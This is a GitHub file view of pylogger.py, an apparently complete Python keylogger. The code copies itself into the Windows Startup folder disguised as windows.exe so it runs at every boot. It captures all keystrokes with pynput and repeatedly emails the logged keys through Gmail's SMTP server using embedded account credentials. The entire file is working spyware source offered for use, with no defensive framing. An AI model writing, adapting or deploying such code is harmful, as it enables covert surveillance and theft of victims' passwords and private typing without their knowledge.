-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpylogger.py
86 lines (66 loc) · 2.02 KB
/
pylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from sys import argv
from os import system, path
from ssl import create_default_context
from smtplib import SMTP_SSL
from pynput.keyboard import Listener, KeyCode, Key
EMAIL = "[email protected]"
PASSWD = "password"
count = 1
keys = []
log = "Subject: PyLogger Email: " + str(count) + "\n"
# Copy exec To Startup Directory so it starts as windows boots up
# The File Is Renamed To windows.exe
startup_dir = r'C:\Users\"%username%"\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup\windows.exe'
filename = path.basename(argv[0])
system("copy " + filename + " " + startup_dir)
context = create_default_context()
smtp_server = "smtp.gmail.com"
# It Keeps Connecting If No Internet Is There
while True:
try:
server = SMTP_SSL(smtp_server, 465, context=context)
server.login(EMAIL, PASSWD)
except:
pass
else:
break
# Connection Success Message
success_msg = "Subject: PyLogger Connection Successful :)" + "\n"
server.sendmail(EMAIL, EMAIL, success_msg)
def on_press(key):
global keys
keys.append(key)
if len(keys) > 200:
write_log(keys)
keys = []
# Sends Mail
return False
def on_release(key):
global keys
if isinstance(key, Key) and key != Key.space:
keys.append("/" + str(key))
def write_log(keys):
global count, log
count += 1
for key in keys:
key = str(key).replace("'", "")
if key == "Key.enter":
log += "[enter] \n"
elif key == "Key.space":
log += " "
elif "Key." in key:
key = key.replace("Key.", "")
log += "[" + key + "]"
else:
log += key
# Keep Sending Emails And Stops Listening To Keystrokes When Sending Mail
# Because It Causes Lag
while True:
while True:
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
break
server.sendmail(EMAIL, EMAIL, log)
log = "Subject: PyLogger Email: " + str(count) + "\n"
continue
server.quit()